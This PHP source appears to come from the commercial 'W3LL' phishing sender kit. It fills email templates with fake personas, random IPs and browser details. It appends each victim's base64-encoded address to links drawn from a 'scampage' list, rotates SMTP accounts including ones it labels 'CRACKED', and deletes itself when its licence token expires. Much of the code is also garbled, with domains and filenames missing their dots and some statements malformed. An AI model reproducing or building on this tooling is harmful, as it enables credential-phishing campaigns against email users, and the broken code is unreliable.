    curl_setopt($ch, CURLOPT_URL, "https://logoclearbitcom/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/50 (Windows NT 100; Win64; x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/7503770100 Safari/53736';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logoclearbitcom/$domain", "$domainjpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);


    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_e= explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    

    x= explode(, $host);
    x= "e";

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    
    

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "StHelena", "StPierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (US.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 81', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = file_get_contents($msgfile);
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . x. '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . x. '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function subjecting($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuserme/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->"e"->gender;
            $w3ll_data_title = $data->"e"->name->title;
            $w3ll_data_first = $data->"e"->name->first;
            $w3ll_data_last = $data->"e"->name->last;
            $w3ll_data_street_number = $data->"e"->location->street->number;
            $w3ll_data_street_name = $data->"e"->location->street->name;
            $w3ll_data_city = $data->"e"->location->city;
            $w3ll_data_state = $data->"e"->location->state;
            $w3ll_data_country = $data->"e"->location->country;
            $w3ll_data_post_code = $data->"e"->location->postcode;
            $w3ll_data_latitude = $data->"e"->location->coordinates->latitude;
            $w3ll_data_longitude = $data->"e"->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->"e"->location->timezone->offset;
            $w3ll_data_timezone_description = $data->"e"->location->timezone->description;
            $w3ll_data_email = $data->"e"->email;
            $w3ll_data_uuid = $data->"e"->login->uuid;
            $w3ll_data_username = $data->"e"->login->username;
            $w3ll_data_password = $data->"e"->login->password;
            $w3ll_data_salt = $data->"e"->login->salt;
            $w3ll_data_md5 = $data->"e"->login->md5;
            $w3ll_data_sha1 = $data->"e"->login->sha1;
            $w3ll_data_sha256 = $data->"e"->login->sha256;
            $w3ll_data_dob_date = $data->"e"->dob->date;
            $w3ll_data_age = $data->"e"->dob->age;
            $w3ll_data_registered = $data->"e"->registered->date;
            $w3ll_data_phone = $data->"e"->phone;
            $w3ll_data_cell = $data->"e"->cell;
            $w3ll_data_id_name = $data->"e"->id->name;
            $w3ll_data_id_value = $data->"e"->id->value;
            $w3ll_data_picture_small = $data->"e"->picture->thumbnail;
            $w3ll_data_picture_medium = $data->"e"->picture->medium;
            $w3ll_data_picture_large = $data->"e"->picture->large;
            $w3ll_data_nat = $data->"e"->nat;
    }
    curl_close($ch);

    
    
    $user1 = ucwords(""e"");
    
    
    $domains1 = explode(, $domain);
    $domain1 = ucwords (""e"");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://logoclearbitcom/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/50 (Windows NT 100; Win64; x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/7503770100 Safari/53736';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logoclearbitcom/$domain", "$domainjpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);

    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_e= explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    

    x= explode(, $host);
    x= "e";

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "StHelena", "StPierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (US.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 81', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = $msgfile;
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . x. '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . x. '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function Reletter($letter, $mailto)
{
    $file = file_get_contents($letter);
    $arr  = array('++w3ll_email++');
    $new  = array('' . $mailto . '');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function berhenti($kata)
{
    $k = strlen($kata);
    if ($k == $k) {
        $p = substr($kata, $k - 1);
        if ($p == 0) {
            echo "Break for 5 seconds...\n";
            sleep(5);
        }

    }

}

function Savedata($file, $data)
{
    $file = fopen($file, "w");
    fputs($file, PHP_EOL . $data);
    return fclose($file);
};

function RemoveLine($file, $name)
{
    $getfile  = file_get_contents($file);
    $search   = explode($name, $getfile);
    $save     = "x";
    $savedata = Savedata($file, $save);
    return $savedata;
};
system('clear');
date_default_timezone_set('America/Los_Angeles');
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
echo"      █                                                                   █\r\n";
echo"      █\e[31m       NOTE: THIS SENDER SOLD ON W3LLSTORECO WITH PRICE 85$       \e[0m█\r\n      \e[0m█\e[31m       IF YOU DONT BUY THIS SENDER FROM HTTPS://W3LLSTORECO,    \e[0m  █ \r\n      \e[0m█\e[31m  MEAN YOU USE ILLEGAL SENDER..AND YOUR TOKEN WILL BE BANNED SOON! \e[0m█\r\n";
echo"      █                                                                   █\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
sleep(6);
system('clear');
"x" .= "                                             \r\n";
"x" .= "\e[0;31m 		    $$\      $$\  $$$$$$\  $$\       $$\       \r\n";
"x" .= "		    $$ | $\  $$ |$$ ___$$\ $$ |      $$ |      \r\n";
"x" .= "		    $$ |$$$\ $$ |\_/   $$ |$$ |      $$ |      \r\n";
"x" .= "\e[0;34m		    HTTPS://W3LLSTORECO OFFICIAL SENDER|      \r\n";
"x" .= "\e[1;37m		    $$$$  _$$$$ |  \___$$\ $$ |      $$ |      \r\n";
"x" .= "		    $$$  / \\$$$ |$$\   $$ |$$ |      $$ |      \r\n";
"x" .= "		    $$  /   \\$$ |\\$$$$$$  |$$$$$$$$\ $$$$$$$$\ \r\n";
"x" .= "		    \__/     \__| \______/ \________|\________|\r\n";
"x" .= "\e[0;32m		    					  V".$version."\r\n";

"p" .= "\e[0;34m			   __    __ _____   __    __  \r\n";
"p" .= "\e[0;31m			  / / /\ \ \___ /  / /   / /  \r\n"; 
"p" .= "\e[1;36m			  \ \/  \/ / |_ \ / /   / /   \r\n";
"p" .= "\e[0;35m			   \  /\  / ___) / /___/ /___ \r\n";
"p" .= "\e[0;33m			    \/  \/ |____/\____/\____/ \r\n";
"p" .= "\e[0;37m			                  SINCE 2017\r\n";
"p" .= "\e[0;32m			   		        V".$version."\r\n";        

"l" .= "                                             \r\n";
"l" .= "\e[1;33m		    _/          _/  _/_/_/    _/        _/     \r\n";
"l" .= "\e[1;34m		   _/          _/        _/  _/        _/      \r\n";
"l" .= "\e[1;32m		  _/    _/    _/    _/_/    _/        _/       \r\n";
"l" .= "\e[1;36m		   _/  _/  _/          _/  _/        _/\e[0;32m   V".$version."        \r\n";
"l" .= "\e[1;31m		    _/  _/      _/_/_/    _/_/_/_/  _/_/_/_/   \r\n"; 
"l" .= "\e[1;35m                                               W3LLSTORECO\r\n";
        
"o" .= "                                             \r\n";
"o" .= "\e[31m 		       ██╗    ██╗██████╗ ██╗     ██╗          \r\n";
"o" .= "\e[31m 		       ██║    ██║╚════██╗██║     ██║          \r\n";
"o" .= "\e[31m 		       ██║ █╗ ██║ █████╔╝██║     ██║          \r\n";
"o" .= "\e[37m 		       ██║███╗██║ ╚═══██╗██║     ██║          \r\n";
"o" .= "\e[37m 		       ╚███╔███╔╝██████╔╝███████╗███████╗     \r\n";
"o" .= "\e[37m 		        ╚══╝╚══╝ ╚═════╝ ╚══════╝╚══════╝     \r\n";
"o" .= "\e[0;32m			   		            V".$version."\r\n";  
                                  



        print_r( $logo[rand(1,4)]);

if (preg_match('/\bDays Left\b/',$checkval))
{
echo "\r\n";
echo "\r\n";
        echo "                             \e[32;1mUsername : $checkval\n\n\e[0m";
}
else if($checkval == 'Please renew your Token')
{

    unlink('READMEtxt');
    unlink('W3LLphp');
    unlink('setting/phpmailer/Exceptionphp');
    unlink('setting/phpmailer/OAuthphp');
    unlink('setting/phpmailer/PHPMailerphp');
    unlink('setting/phpmailer/POP3php');
    unlink('setting/phpmailer/SMTPphp');
    unlink('file/W3LL_MAILIST/W3LL_LISTtxt');
    unlink('file/W3LL_LETTER/AOLhtml');
    unlink('file/W3LL_LETTER/CHINESEhtml');
    unlink('file/W3LL_LETTER/MAILRUhtml');
    unlink('file/W3LL_LETTER/OFFICEhtml');
    unlink('file/W3LL_LETTER/WEBMAILhtml');
    unlink('file/W3LL_LETTER/YAHOOhtml');
    rmdir('setting/phpmailer');
    rmdir('setting');
    rmdir('file/W3LL_MAILIST');
    rmdir('file/W3LL_LETTER');
    rmdir('file');
    system('clear');

    echo "                          \e[1;37;41mError : Token Expired\n\e[0m";
    die();
}
else
{
    echo "                      \e[1;37;41mError : $checkval\n\e[0m";
    die();
}
function encode($text)
{
   $list = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/") ;
   $replace = array("a", "b", "c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/");

   $walah = str_replace($list, $replace, $text);
   return $walah;
}
function SmtpType($smtp)
{
    if (preg_match('/\bsendgrid\b/',$smtp))
    {
        
    }
    else if (preg_match('/\bgmail\b/',$smtp))
    {
        SENDGRID= 'G-SUITE';
    }
    else if (preg_match('/\bsecuresmtp\b/',$smtp))
    {
        SENDGRID= 'T-ONLINE';
    }
    else if (preg_match('/\boffice365\b/',$smtp))
    {
        SENDGRID= 'OFFICE 365';
    }
    else if (preg_match('/\bemailsrvr\b/',$smtp))
    {
        SENDGRID= 'RACKSPACE';
    }
    else
    {
        SENDGRID= 'CRACKED';
    }
    return $type;
}
function Kirim($email, $smtp_acc, $W3LL_setup)
{
    global $ahh, $num;

    $smtp           = new SMTP;
    $smtp->do_debug = 0;
    $smtpserver         = $smtp_acc['host'];
    $smtpport           = $smtp_acc['port'];
    $smtpe          = $smtp_acc['username'];
    $smtppass           = $smtp_acc['password'];
    $priority           = $W3LL_setup['priority'];
    $sleeptime          = $W3LL_setup['sleeptime'];
    $replacement        = $W3LL_setup['replacement'];
    $userremoveline     = $W3LL_setup['userremoveline'];
    $fromname           = $W3LL_setup['fromname'];
    $frommail           = $W3LL_setup['frommail'];
    $subject            = $W3LL_setup['subject'];
    $msgfile            = $W3LL_setup['msgfile'];
    $filepdf            = $W3LL_setup['filesend'];
    $randurl            = $W3LL_setup['scampage'];
    $redirect           = $W3LL_setup['redirect'];
    $subject_encrypt    = $W3LL_setup['subject_encrypt'];
